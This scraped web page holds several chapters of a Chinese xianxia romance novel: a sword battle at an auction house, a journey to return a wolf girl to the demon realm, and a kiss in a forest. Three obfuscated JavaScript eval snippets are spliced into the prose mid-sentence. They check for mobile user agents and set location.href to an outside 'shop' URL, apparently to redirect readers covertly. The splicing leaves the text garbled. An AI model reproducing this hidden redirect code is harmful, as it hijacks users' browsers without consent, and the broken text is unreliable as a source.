l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13887612|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一刻,她落入一个坚实的怀抱。 一股灵力顺着臂弯缓缓注入她体内,替她解了术法,她的手足恢复了行动,思绪也恢复了清明。 叶清漪顿了顿,抬头望去,恰好对上一双幽深如水的眼眸。 她在那双眼中看到了自己。 尽管已经料到是谁,但她还是想看一眼,就当是让自己任性这一回。 “没事吧?”连喜神色关切,轻柔的嗓音在她耳边响起,她顿时觉得耳根一阵酥麻,但还是装作若无其事,忍住了想去挠的冲动。 “没事,多谢。”她听见自己干涩的声音,有些恍惚,好像很久没有跟他说话了。 “你我之间,不必言谢。”连喜说着再一施力,带着她一同落在的酒楼二楼。 二楼有不少空桌椅,连喜抚着她在一张长条凳上坐下,蹲下来望着她的眼关切询问:“怎么样?还有没有哪里不舒服?” 叶清漪摇摇头:“无妨。” “我已经替你渡了些灵力,加上你有冰莲护体,寻常妖毒对你不起作用,特殊的妖毒也不会侵入肺腑,看这情形,他们只怕是用了特制的妖毒,真是厚颜无耻,不择手段。” “这鉴赏会水很深,两大世家只怕也牵连其中,倒不是一夕之间就能解决的。”叶清漪有些犯了难,连喜也跟着陷入沉思。 直到掌心柔软的触感传来,叶清漪才发现她不知何时一手按在了连喜的手背上,差不多将他的手握在了手中。 连喜也发现了。 叶清漪面色一红,急忙收回手。 下一刻,连喜竟掌心朝上,直接将她的手拉住了。 “……!!”叶清漪的脸更红了。 她不由得吃惊地望着连喜,惊讶中还带了点疑惑。 连喜也只回看着她,没有要解释的意思。 叶清漪便又要将手往回抽,连喜不肯,更用力地往下拉了几分,将她的手握住更多。 他本来就半蹲在她面前,视线刚好和她对上。如今又这么看着她,有询问,也有一丝失落和无奈。 她还是第一次看到他这种眼神,心中那股别扭劲不知跑去哪里了,只有些松懈,和刚才一样的想法冒了出来,一个犹豫间,她便没有再推开,而是任由连喜握着。 连喜面上愁云顿时一扫而空,眉梢眼角漫上喜色,抑制不住露出几丝浅笑。 看他笑了,叶清漪不由得也笑了起来,心里感觉好过多了,等连喜抬眼看过来,她才意识到,连忙收了几分笑容,有些不自然地低下头移开视线。 连喜也不难为她,只无意识地摩挲着她的手,二人一时无言。 直到下方传来叫骂声,两人才回过神来。 不对,她隐约记得二人此前分开之时,她分明还很是气恼,如今见了他,怎么又半分气也生不出来了?想来是因为他刚救了她吧!她总不能当场翻脸,何况下方还有外敌。 掌事眼见事败,也不再掩饰,干脆露出本来面目:“赢了就想走,有这种好事?今天灵石和狼女,你们一个也别想带走。” 叶清漪顿时怒火中烧,她就知道这些人不会那么轻易交出狼女。当场便要冲出去大干一场! 连喜拉住她,将手上的戒指取下,戴在她指尖:“这是清月戒,可清除毒素,抵挡伤害,你戴好。” 接着他松开叶清漪,隔空召出墨羽剑,转头看她:“怎么样?还能打吗?” 叶清漪眼底浮上笑意,一抬手,举起青锋剑,和他的剑并排放在一起:“当然!” 一黑一白两个身影自阁楼飞下,不及看清形容,便有数道剑气射出,直冲台下几人而来。 104. 第 104 章 那一黑一白两个身影配合默契,不及落地,就已在半空变换数招,不等金有术看清,一道阵法便兜头而下。 掌事大呼一声:“大小姐,小心!” 便直接朝玉无眠扑去。 金有术也连忙躲避,自保。 叶清漪和连喜同时落地,那阵法越过金有术几人,直接打在了狼女身上。 原本狂躁的狼女顿时安静下来,瞳仁也逐渐褪去红色,变为正常的颜色。 下方众人早已作鸟兽散。 紫玥、清泽二人迎了上来,举剑做抵挡状。 “你没事吧!” 紫玥询问连喜,清泽则关切叶清漪。 叶清漪和连喜都道没事,只是一开口两人正好同时说出,便让气氛不免多了几分诡异的暧昧。 叶清漪和连喜对视一眼,不再多言,一心投入战斗。 他们四人背靠着背,分别对着一个方位,分工明确,各自为战。 掌事人救下玉无眠,便要拉着她离开,玉无眠自是不肯,金有术见玉无眠上了,只好也提剑迎上。双方一时打得难解难分。 掌事无奈,只好再多叫几批人:“都愣着干什么,还不快去救大小姐!所有人都给我上,今天这四人,谁也不能放过。” 尽管掌事手下人数众多,但远远不是他们的对手,没两下就被紫玥和清泽打趴下了,叶清漪和连喜便一人对上一个,叶清漪对战玉无眠,连喜对战金有术。 “我记得你,你不是云仞山的小仙徒吗?”玉无眠眼神轻蔑。 “一介寻常弟子,倒劳烦姑娘记着了。” “我跟雪瑶妹妹幼年便相识,是这批仙徒中玩得最好的,她的仇我正愁无法替她报呢!” 叶清漪眉心一跳,再次听见凌雪瑶的名字,她竟生出几分恍若隔世的悲凉,但她面上自不相让:“哦?是吗?凌雪瑶她违反门规,落得那般下场本是咎由自取,又为何算在我头上?” 玉无眠一剑重重刺来,怒意更盛:“不许你如此诋毁雪瑶妹妹,你们仙门之事,真就像外界所传的那般清白吗?指不定里面是如何肮脏,才害得我雪瑶妹妹英年早逝,死不瞑目!如今你竟还在这逍遥快活,竞拍妖灵!怎么?想入内门?你也配!” 玉无眠嘴上骂着,手上招式变换,步步紧逼,叶清漪却并未使出全力,她听到玉无眠与凌雪瑶交好时,就生了一丝柔软的心,不愿咄咄逼人。可玉无眠显然不这么想。 “今日你又来鉴赏会砸我的场子,倒是很好,那我们便新仇旧恨一起算!” 玉无眠招招狠厉,步步杀机,叶清漪退无可退,没有办法,一个不慎,竟被她刺到了小臂。 玉无眠得意一笑,很是解气:“我师承飞云宫宫主,一招一式都是宫主亲授,你不过一个区区仙徒,也敢同我较量一二,能在我手底过招几个回合,已经是你莫大的荣幸了。雪瑶妹妹,今日我便替你报仇,你九泉之下可以瞑目了,姐姐定不叫你走得孤单。”言罢,蓄力一刺,直直向叶清漪袭来。 这招带了十成功力,十分杀机,叶清漪又不慎负伤,再经不起一点失误,她若是再不还手,真的要去见凌雪瑶了。 她只好动心起念,引气入体,化为青锋剑气,破空而出,直指玉无眠腹部。方才交手几轮,她已发现此处乃是玉无眠的破绽,尤其当她一心想杀掉对方时,便不会防御腹部,便会漏出破绽给敌人可乘之机。不过大部分情况对方都会先一步被玉无眠的杀招击中,便没有余力还手,久而久之,这一处破绽,玉无眠也渐渐忘了,或者就算记得也根本不放在心上。 这边鏖战之际,连喜那边也打得难舍难分,只是这关键一招,连喜和金有术不免都看了过来,纷纷关心起各自在意之人。叶清漪也知道自己可能会迎上玉无眠的杀招,但千钧一发,战况瞬息万变,她只能凭直觉使出这一招,同时也做好了承受玉无眠杀招的准备。 一柄剑直直刺向她,叶清漪待要看清,整个人忽然被人撞飞,同时眼前一晃,对面的玉无眠也被人一把推开。 “叶清漪!”连喜大喊一声,上前接住叶清漪。 叶清漪倒在连喜怀里,并未受伤,待连喜将她扶起,她这才看清,刚才撞飞她的人是清泽,至于玉无眠,则是被掌事推开了。 但同时二人都替她们受了对方的攻击。 “清泽!”叶清漪大惊失色,从连喜怀中离开,奔上前查看清泽的情况。 “你怎么样?”清泽倒在地上,还不忘问叶清漪的情况。 “我没事,你先顾好你自己吧”玉无眠这一招出手狠厉,好在没有伤到清泽要害,只是还是有了不小的皮肉伤,剑身有一半没入清泽左肩,鲜血不住往下流淌。 这下叶清漪也慌了,连喜跟了上来,紫玥也围了过来,至于叶清漪身后,似乎响起一阵哭喊,但她已经顾不上了。 紫玥站在边上看着,像是一时没弄清楚如今的情形,毕竟她看到的情况是这样的——清泽肩部中剑,面色苍白,叶清漪将清泽半抱在怀里,连喜在旁查看着清泽的伤势,叶清漪问连喜清泽的情况如何? 连喜检查一番道:“剑伤不是太深,还好,没有伤及要害,幸好玉无眠为人正派,没有在剑上下毒。” “这点倒是正派,只是这鉴赏会的行径却是正派不到哪去!”叶清漪兀自说着。 “先送回客栈,用些金疮药止血,再开些药方,喝上几幅也就好了,我先给他输送一点灵力,免得他昏睡过去。”连喜说着给清泽施法。 紫玥在边上似有不满:“天天给人施法,你倒是大方,又是传灵力,又是送冰莲,你这点灵力还不够你到处送的。” 连喜出言制止她:“紫玥。” 叶清漪则准备回头查看,却感觉身后一阵杀气,她前世的意识忽然想起,一抬手就回击过去。之后才站起身查看。 发现刚才要杀她的不是别人,正是金有术。但他明显不敌叶清漪,被他自己的佩剑伤到小腹,不过应无大碍。 “你这仙徒为何会有如此功力?”金有术倚在地上大口喘着粗气,毕竟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13887613|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已是天赋过人,自小从无敌手,但如今却轻而易举被人反击,他还没有还手之力,实在不解。 “你与其研究这些,不如好好精进自己的功力,不过还有一点我要劝你,若说有什么差别,那便大概是我从无害人之心吧!” “你厚颜无耻!”玉无眠一听更气愤了。 “被一个开鉴赏会谋不义之财的人,说厚颜无耻,倒是稀奇。”叶清漪冷嘲热讽,看向玉无眠,这才注意到,刚才替玉无眠接了她的攻击的掌事,已经倒地不起,像是没了生气,而玉无眠只是站在一旁,都没多看他一眼。 叶清漪有些错愕,不过一想,这是那掌事自愿替玉无眠挡刀,况且他坏事做尽,杀人如麻又冷血,就算他死了又何妨,正好替那被无名之火害死的道友抵命了。 于是叶清漪也没有亏欠。 “赶紧送清泽回去吧!不然他失血只会更多。”连喜提醒她。 “好。” 叶清漪也不再纠缠:“今日我便放你们一马,这狼女我既然已经赢得,那我便带走了,日后若是发现你们还举办什么鉴赏会,别怪我不留情面。只是投出的那些灵石,本不该归你们所有。” 叶清漪伸手,动心起念,孔洞中的灵石便尽数飞出,全部落入了那盒打开的宝箱之中,像之前倒出一般,如今又完全被宝箱收入,看上去还是只有小小一箱。 “就当是我替你们做好事了。” 这些灵石归还长公主也好,毕竟她只是受人之托,也不想留着这些灵石。 接着她又用收妖袋将狼女带上,几个人扶着清泽离开了。 清泽的伤倒是不严重,之后回到客栈休养了大半个月,就已经好得差不多了。 叶清漪则带上狼女去给长公主复命。 虽然她也替狼女的未来担忧,但如今既已完成任务,她也不能不把狼女交出,毕竟长公主肯定早就得到消息,知道她的一举一动了。 “见过长公主,因师弟不慎受伤,耽搁了些时日复命,还望公主恕罪!” “无妨!”长公主很满意:“不错,本宫果真没有看错你,如今狼女既然已经拿到手,那便请你替我将狼女送回狼族吧!” “送回狼族?”叶清漪不解。 “怎么?不相信本宫会如此做?以为本宫要你赢得狼女是为了拿捏狼王,掣肘魔界吗?” “没有,清漪不敢!”“无妨,你有这想法也很正常,只是我受故人之托,要救下狼女,但受身份所累,不便亲往,只好拜托于你,幸好我没看错人!” “好,谨遵公主懿旨。” 长公主又道:“你只身前去,我不放心,怕他们不相信你。我替你物色了一人,他会协助你,一路护送你到妖界,并帮你在妖界度过难关。” 叶清漪疑惑,会是谁?还有这等人物? “出来吧!” 长公主话音落下,一男子自后面走出,掀开帷幕,走到叶清漪身边。身量颀长,坚实稳重。 叶清漪不由得震惊:“是你!!!” 105. 拜别公主 来人不是旁人,正是不久前才在驿站分开的连喜。 “这……”叶清漪视线在连喜和长公主之间来回逡巡,脑中已闪过无数个念头。连喜仍穿着那身黑衣,只是在外面套了件黑色广袖长袍,不过比在魔界的服制要简单一些。发髻也散开了,只用一个简单的银环束起一半,比分别前多了几分散漫,可以看出连喜在长公主面前状态很放松。 “我就不必介绍了吧!”长公主往连喜那边伸手示意,“你们对彼此再熟悉不过了。” 叶清漪伫立当场,手足无措:“公主和……”她不知道连喜是用什么身份跟长公主来往的,二人的交情又到什么程度,一时不敢贸然称呼。 长公主笑道:“你不必紧张,二殿下拜在师兄门下多年,师兄知道的,我自然都知道。” 叶清漪这才了然,长公主只怕早跟连喜有所谋划,指不定她还是最后知道连喜的真实身份的那个。 “你一人护送狼女,我怕你被妖族之人为难,毕竟你是修仙之人,有二殿下从旁协助会好很多,”长公主抿了口茶,搁下茶盏:“事情我就拜托给你们了,其他的你们路上聊吧!当务之急是将狼女送回妖界,晚了恐生事变,你们即刻上路,需要的盘缠通关玉牌我都替你们准备好了。” 袁翀命人将公主事先准备的包裹呈上。 二人领命,叶清漪心念微动,便将两个包袱都收进玄月戒,这两日她已经发现这个戒指的多种用法,容纳万物只是它最基本的一种功能。 狼女和清泽还在驿站,二人拜别公主,回驿站准备。 “我不知公主跟我师妹也……所以没有跟师妹说明内情,还请师妹勿怪。”路上连喜急忙跟叶清漪解释。 “替长公主做事,自然是要格外谨慎,我怎会怪你。”“那便好。” “狼女的父亲还是世子的时候,长公主同师尊还有世子三人便已交好,只是各自都有责任在身,不得不分开,但还是保持神交,狼王幼女走失,长公主联络多方势力,苦寻良久,终是觅得踪迹,只是狼女已经被抓,救出狼女还需要花些心思,公主孤立无援,便求助了师尊。” 连喜道出原委。 “所以前世公主没有救下狼女,便从此跟狼王交恶了?”“正是。” “那如今倒是阴错阳差,改变了局面。”叶清漪颇为欣慰,“这么说,你这次下山,也是奉命寻回狼女的?” 连喜颔首:“这是下山的主要任务,但我原本也想好了要借此回妖界。” 妖界是去往魔界的必经之路,从人界去往魔界必须要经过妖界,妖界在黑山山脚,范围很广,妖界由妖君蔌黎统领,不受制于其他任何一族,妖可与人结合,可自妖修仙,也可自妖入魔。 只是人族与妖族虽未明令禁止通婚,但半妖的地位低下,是被两族皆不容的种族。 说话间已至驿站,叶清漪没有再言其他,二人各自回屋收拾。清泽受了伤,还未痊愈,加之妖界又有瘴气,叶清漪有冰莲护体,但清泽没有,是以便让清泽先行回山,正好代叶清漪向掌门和长老告假,内门弟子的竞选她自然也赶不上了。 清泽虽不愿连喜和叶清漪同行,但即是长公主之命,他也没有办法,加上叶清漪所说也确实如此,他便不再反驳。 连喜则带上了紫玥,紫玥也是要一同回魔界,连喜也没有弃她不顾的理由。 是以连喜紫玥叶清漪带着狼女,四人便踏上了前往妖界的路,清泽独自返回云仞。 “原本我还打算把冰莲还给你,只是如今我要入妖界,只怕还需要暂借些时日。”路上叶清漪同连喜说。 “东西既已送出,断没有收回的道理,给你了便是你的,你只管受用便是。”连喜含着笑看她,倒没有半分不悦。 “我从没想过要收你的东西,何况这护体冰莲。”即便连喜不说,叶清漪也能猜到,这冰莲只怕和他相伴相生,若是连喜遭遇不测,冰莲也自会消散。 “我就是知道你不会收,才直接将冰莲化入你体内的。若你真想归还,那便现在就还我。”“如今自是不行。” “那便就此作罢,此事日后莫要再提了。” 叶清漪知道连喜的脾气,再说下去只怕要闹僵,只好先应承下来,等妖界之行结束,再寻个机会还他,到时想他也没有理由再拒绝。 四人约莫未时动身,走了半日,已出渭桥境内,来至毗邻的小吴山。为了避人耳目,他们没有使用缩地术,而且人族往妖族这一路,有不少结界阵法,稍不留神就会触动,惊扰布阵者,打架他们倒是没问题,只是无谓多生事端。 几人找了处林子歇脚,叶清漪吃了点干粮,补充了体力。连喜在她身边坐下,叶清漪也没有避开,二人有种微妙的默契,对某种变化心照不宣,虽然和之前同行的样子差不多,以前他们也经常挨着坐,从彼此手里接过东西,不小心碰到手,都是常事,两世相处之下,叶清漪早已习惯连喜的照顾,只是现在跟之前大大不同,若说明面上的变化,便是二人话都变少了,偶尔交谈两句,语气都很轻柔,有种化不开的情愫在他们周围,连狼女都看出来了。紫玥拿出水囊,递给连喜,连喜又把水囊递给叶清漪。叶清漪想了想,递给了狼女。 狼女眨巴着眼睛,虽然看不懂为什么几人都不喝,但她并未多想,乖乖接过喝了。 紫玥的眼在这别扭的二人身上打转,一副早已看透的表情,摇摇头,又掏出一个水囊:“这里还有,用不着那么谦让。” 叶清漪和连喜见状不约而同别开视线,一个看天一个看地,甚是忙碌,也不知在搜寻什么。 紫玥出身魔界,性子急躁,实在看不得他们这般姿态,拿了斧子就走。 连喜被她这架势吓到,急忙问:“你干嘛?”紫玥拎着斧子掂了掂,一指林子:“眼见着天要黑了,我去砍些柴火来,晚上好生火。” 叶清漪和连喜看着她手里的幽冥斧,神情复杂——上古魔兵拿来砍柴,日后魔斧化灵,只怕会被其他器灵嘲笑百年吧! “小吴山往东再走二十里,上了甘阳道再行两日,可至月岩城,那便是妖族的地界。”叶清漪用心记下连喜所言,又撕了一半饼子给他,连喜接过吃了。叶清漪又给了狼女一块,狼女没接,只用一双水灵灵的眼望着那饼子。 “没吃过?”叶清漪问。 狼女诚实地摇摇头。 “试试吧,很好吃的。”叶清漪把饼子递上前几分。 狼女小心翼翼凑上来,动动鼻子闻了闻,接着忽然张口,就着叶清漪的手吃。 叶清漪吓得一缩手,饼子也掉了,好在掉在衣服上,叶清漪低头看看裙摆上的饼,又去看狼女,到嘴的东西突然没了,狼女眼眶一红,委屈一瘪嘴,眼见要哭出来。 “对不起,我不是有意的。”叶清漪手忙脚乱地捡起饼子递上,放柔了语气,“没,没弄脏……还能吃,你看!” 狼女这才止住哭,慢慢凑上来咬了一口,眼睛顿时亮了。 “怎么样,我没骗你吧!”看到狼女不哭了,叶清漪竟难得生出几分成就感。 狼女连连点头,双手接过饼子,美滋滋吃了起来。 连喜原本看到狼女差点咬了叶清漪,还有些担忧,见事态平息,也就放心了,还有余力揶揄她:“怎么样,此番倒是体会了一趟照顾孩童的辛苦了吧!” 话音落地,两人都觉得怪怪的。 “狼女涉世未深,懵懂单纯,东西好吃,便什么都忘了。”叶清漪故作不在意地说。 “不错不错,正是如此。”连喜也连忙附和,将一语之误草草揭过。 天色黑得很快,到了夜里生了火,又烤了点饼子,紫玥砍柴的时候顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13903017|146164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带摘了点野果子,也一并烤了吃了。四个人里两只妖一个魔一个已经辟谷的修士,没一个需要吃东西的,但行路寂寞,不过吃点东西调剂调剂,解解馋。 夜间也不是不能赶路,只是狼女毕竟道行浅,觉多容易困,还是要顾着她一些,左右不出七日,他们便能到妖界,也不差这一晚上。 入夜后狼女裹了点树叶子睡了,紫玥捡了个树杈子看月亮,连喜跟叶清漪一人靠着一棵树打坐,气氛十分融洽。 叶清漪原本就快突破悟道期了,只是这些日子疏于修炼,前些时日又负了伤,倒一时进入了瓶颈。 如今终于有时间好好调息一番,她轻阖双目,安静调息,双手掌心朝上,搭在膝盖上,拈指成结,摒弃杂念,吸收月华之气——并非只有魔修需要月华,修士都很需要。天地日月,山川草木之气,皆可为修炼所用。日月精华,阴阳调和,才可大成。 只是她陷入瓶颈多时,已有段时间无法引气入体了。不曾想今夜竟然有所突破,她刚一运功,便有所感应,虽双目紧闭,五感却格外通达,远处的虫鸣,溪流汩汩之声,都清晰地传入耳中,小到一株野草,一颗被溪水冲刷的石头,都仿佛近在眼前。灵气从苍穹落下,越过山川,拂过树梢,从四面八方向她汇聚而来,汇入灵台,抵达全身筋脉——她竟一下子突破悟道了。 叶清漪惊喜地睁开眼,感受着体内的精气,整个人仿佛都轻盈了许多,夜间视物也毫不费力了。看来有这冰莲在,她修炼都轻松了不少。 叶清漪其实也是有几分贪恋这冰莲的,自此冰莲入体,她的妖印都极少发作了。旁人倒也罢了,连喜的东西,她用着倒没那么有愧,就当是他之前隐瞒身份的赔礼了。 如此想着,她不免转头看向一旁,狼女已经酣睡,紫玥挂在最高的树枝上,也睡着了,连喜在旁闭目打坐,与她仅有一步之遥,她都能清晰地看到他睫毛的微颤。 万籁俱寂,月朗星稀,此情此景,倒是正适合双修! 念头一起,叶清漪就连忙摇了摇头,不可不可,她怕不是适才尝到了修为突飞猛进的甜头,一时竟生出这种念头,实在荒唐! 只是见连喜似乎已经入定,无知无觉,她又精神得睡不着,便想满足一下私欲——凑上前看看连喜。 虽然是活了两世的人,但叶清漪对男女之事还是知之甚少,仅有的想法也就是双修和凑近几分这两个。 她左右张望一回,悄声解开盘腿,双手撑地,尽量不离开现在的位置,只上半身靠近。连喜身上有种清冷的香气,很是好闻,跟云宸身上的檀香味有所不同。 见连喜没有反应,叶清漪调整了一个更轻松的姿势,干脆面对连喜而坐,双膝并拢,一只手撑在膝盖上,翻转手腕,掌心朝上,将脸刚好卡在虎口的位置,食指抵住额角,拇指托着下巴,这个姿势是她的习惯,看着奇怪,实则省力又舒服。 叶清漪就这么安静打量着连喜,素日不是过于匆忙,就是碍于面子,甚少像如今这样仔仔细细地将他看上一番。细看之下才发现,连喜其实生了副好皮相,乌发如墨,肤白胜雪,面若冠玉,眼带桃花,右眼眼尾处还有颗不明显的小痣。叶清漪连连摇头,太招人了,要不得,在云仞有顾长风泽成几人在,连喜混在其中倒不打眼,如今单拎出来,叶清漪才恍然发觉,连喜竟是那沧海遗珠,不仅皮相好,身量还高,尤其换上如今这副打扮,比在云仞那副装束还适合他。 想来他注定是要回魔界的人。 可她这一世已经想好,不会再入魔了,他们注定没有结果。 叶清漪越想越烦躁,干脆作罢不再看他。 不料刚准备转身,她的手腕忽然被人一把抓住。 “怎么?偷看完就想跑?”一道熟悉的声音响起,语气满是玩味。 叶清漪心头一惊,顿时僵住了。 106. 林间一吻 “你没入定?” 连喜幽幽睁开眼:“我何时说过我入定了?” 叶清漪自知理亏,也不再辩:“没入定便没入定罢!”说着想抽回手。 连喜却不想就此作罢:“你方才意欲何为?” “我……”叶清漪搜肠刮肚,半天也没找出适合的借口,只好如实招来,“方才闲来无事,偷……偷看了你两眼。” “哦?” “被你发现便发现了,也不是什么了不得的事。” “只是……两眼吗?” “…………”叶清漪实在不懂,这人问这么仔细做什么! “还有,听说你想要双修?” 叶清漪:“!!!”怎么觉得连喜恢复了身份后,变得过于大胆了。 “你……你怎的如此不害臊,竟把双修的事挂在嘴上!” “你就说你有没有吧!”“我,我没有!” 连喜并未抓得很紧,叶清漪略一使劲就将手抽了回来。 “你接着打坐吧,我要睡了。” 她说罢便走,转身之后却听到连喜小声在背后说:“其实就算你有,我也是不介意的。” 叶清漪脚步一顿,又僵住了,只是魔与仙如何双修,连喜不过是逞一时口舌之快罢了。 “油嘴滑舌。”叶清漪丢下这句,举步一口气走过两颗树,才坐下歇了,余光看到连喜还在原地,神情似有怅惘,难得她误会他了,刚才他不是图个嘴上快活,而是真心的?叶清漪靠着树干闭目思索着,想了半天想不明白,倒是思绪渐入混沌,不知不觉睡过去了。 迷迷糊糊间,有人往她身上盖了件衣服,叶清漪还困着,意识清晰了一部分,但懒得睁眼,只摸了摸手边的衣摆,纹路凹凸细致,衣料上乘,是连喜的外袍。 得到答案后,她心满意足,再次昏睡过去。 之后不知睡了多久,毫无预兆再次醒来,此时天仍没亮,连喜还坐在之前的位置,外袍却盖在了她身上。叶清漪沉吟片刻,将外袍取下,站起身,走过去,将衣服叠好放在连喜旁边。连喜没有反应,这回该是真入定了。看着这样的连喜,她不禁又想起在云仞山的连喜,梳着仙门弟子惯有的发髻,一半散下,一半用发带束了,从脑后垂下,鬓边有些许碎发垂落,闭目打坐时,那些碎发就随着周身涌动的灵力徐徐飘荡,越发衬得眉目动人,容颜清隽。 可他穿上这身魔袍后,就再也不能脱下了。 叶清漪站在他面前,伸手想触碰他的脸颊,夜风袭来,拂过她的指尖,带走些许温度,这是他外袍赐予她的温度,此后长夜无尽,还会有人替她盖上衣袍,护她安稳一梦吗? 在即将触碰到那温热的肌肤时,身后不知哪只调皮的走兽不慎踩断枯枝,发出轻响,叶清漪心口一跳,指尖一颤,堪堪停在了半空。所幸连喜并未惊醒,叶清漪松了口气,转动手腕,隔空临摹他的五官,从眉眼,到嘴唇,也罢,在这世间,有些许意难平本就寻常,何况往后她修为精进,仙途坦荡,就算没有那一人,也无妨吧!有个人在心里,时不时能拿出来思念一番便已足够,又怎敢奢求相依相伴呢? 指尖又落回他眉骨上方,再往上,将将触碰到一缕青丝,夜风再起,青丝滑落指尖,没留下一点痕迹——这份情意亦是如此,终究都是抓不住的。 叶清漪收回手,等这次事情结束,她便与他彻底了断,不再流连。 一声喟叹落入夜色,带着几分无奈和宠溺。 叶清漪一惊,欲待转身,面前之人忽然睁眼,抓住她的手,用力一拉。叶清漪猝不及防,脚下不稳,整个人往前一扑,跌入连喜的怀抱。 为了避免她跌落时不慎受伤,连喜伸出另一只手护住她的腰,刚好将她圈在怀里。 叶清漪一手被连喜抓住,一手抵在连喜胸前,整个人半跪着,后腰靠在连喜膝盖上,这让她不得不直迎上连喜的视线,仅仅一眼,便心如擂鼓,独属于连喜特有的气息扑面而来,将她包裹住,她还是第一次离他这么近。 “你放开我!”叶清漪挣扎着,连喜这次比上次用的力气更大,她没有挣脱开。 “你再乱动,我不敢保证自己不会做出什么更过分的事情。”连喜语带戏谑。 “……你想干嘛?”叶清漪底气不足地问。 “你刚才在干嘛?”连喜的喉结上下滚动了一下,似是在忍耐着什么。 “我……”叶清漪心虚地低下头,本能回避连喜灼热的目光。 “为何趁我入定偷偷看我?”连喜的嗓音变得沙哑,眼中漫起雾气,某种更深沉的东西在他眼底扩散,叶清漪觉得连喜看她的眼神似乎变了。 “……”叶清漪抬眸,先是看向被连喜握住的手腕,又游离到更远处,望向幽暗的林子深处,“有的人看似近在眼前,实则宛如高悬的明月,可望不可即。” 连喜急急辩驳:“我就在你面前!” 叶清漪不言。 “你为何不敢看我?” “看一眼少一眼,不看也罢!”叶清漪干脆道,说着再次尝试起身,她本以为连喜会像上次一样松手,不想他竟半分也没收力。 他再次轻叹:“我该拿你怎么办?还要我怎样做呢?” 连喜说着,低头落下一吻。 一个微凉又带着湿意的吻。 “这样,能让你真切感受到我的存在了吗?”嘴唇轻碰了一下,连喜便松开了。 叶清漪脑子嗡的一下,傻了。 连喜看她没反应,又再次吻下来。 略带干涩的唇柔软地覆在她的唇上,鼻息可闻,交缠融合,连喜的唇最开始只是呆板地和她的唇相贴,定了一瞬才开始吮吸舔舐,笨拙地表达着炙热的情感。捏着她手腕的手攀援而上,撑开她紧握的手掌,指腹滑过错综复杂的掌纹,和她十指相扣,还顺势咬了她的下唇。 叶清漪一个激灵,被连喜握着的手下意识一紧,像溺水之人抓住手边仅有的漂浮物,将全部的不安握在手心。 “你别……”叶清漪刚想开口让连喜别咬她嘴唇,却给了对方可乘之机,霸道地发起更猛烈的攻势,柔软的舌肆意侵略,和她砥砺缠绵。叶清漪只觉得昏天黑地,筋脉受阻,脸颊迅速发热,呼吸也变得潮湿 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可哪里有心思打坐,心思按下葫芦浮起瓢,根本无法平静。好容易鼓起勇气看连喜一眼,发现他竟然一直在看她,吓得她赶紧要别过头,连喜犹自不觉,甚至还朝她招了招手,意思是让她过去。 叶清漪不肯。 连喜又作势要起身过来,叶清漪连忙抬手制止,疯狂打着手势,一会儿指天一会儿指地,意思是紫玥和狼女都在,二人合该注意一些。 连喜只好听话地坐了回去,远远看着叶清漪莫名地笑,像是觉得颇为有趣。 “…………”叶清漪用表情痛骂了他。 原本以为一下子睡不着,没想到天将将亮之时叶清漪又睡了一觉,也许是之前情绪起伏太过,后来松懈了,便觉得有些疲惫。 再次醒来,天光大亮,火堆已经用土盖灭,紫玥从树上下来了,叶清漪打量她那样,该是不知道昨晚的事,狼女更是毫无察觉。反倒是叶清漪很不自然,颇有种不打自招的意味。 连喜见她醒来,过来跟她打招呼:“醒了?” “嗯。”叶清漪含糊应了。 “喝点水吧!”连喜递上水囊。叶清漪道了谢,接过喝了两口。 “那边有条小溪,可要我陪你过去洗把脸?” “不,不用了。”叶清漪脸颊又热了,把水囊塞上,递还给连喜,“我自己过去就好。” 言罢不由分说提步就走。 “诶?”连喜在身后徒劳地伸着手。 一口气走出十几步,叶清漪才长长呼出一口气,也不知为何,她怎么都做不到一切如常,为何连喜就能像个没事人一样呢?这回真是落了下风,着实令人气恼。 走到溪边,河水倒是清澈,叶清漪找了个近水处,鞠一捧水洗了脸洗了手,又用随身的手帕擦干,一番收拾后,昨晚的记忆倏地跳了出来,不由分说地在她脑中轮番浮现,她想起那个被打断的吻,不免轻抚唇瓣,细想当时那妙不可言的滋味。 连喜的唇倒是很软,她毫无征兆地冒出这个念头。 她尚在回味细节,林子深处忽有灵力波动,她瞬间惊觉,可为时已晚,下一瞬凭空阵起,将她困在当场。 107. 被困法阵 连喜见叶清漪久久未归,便和紫玥收拾好东西,带上狼女,三人一起来寻叶清漪,结果看到叶清漪正被几个男子团团围在溪边,紫玥见状便要上前,连喜打眼一瞧,拉住紫玥道:“先别过去。” 约莫半柱香前,溪边。 错综复杂的圆形法阵悬在河边的湿泥之上,如丝缕般细十几根金线,将叶清漪手足缚住。这大概是猎妖人最常用的八卦缚灵阵,又名八卦九宫阵,根据八卦和九宫的规律布置,变化无穷,可用来封印一切妖灵。 自林子隐蔽处走出一行人,约莫有五六个,叶清漪扫了一眼,见他们腰间皆佩戴桃符葫芦照妖镜,手拿罗盘收妖瓶等物,面容大多沧桑黝黑,像是常年经受风吹日晒,大多穿着十方靴和云袜,袖口和裤脚皆用布条缠缚,一看便知常年在外奔走,随时要与人斗法,多半是四处游走的散修。 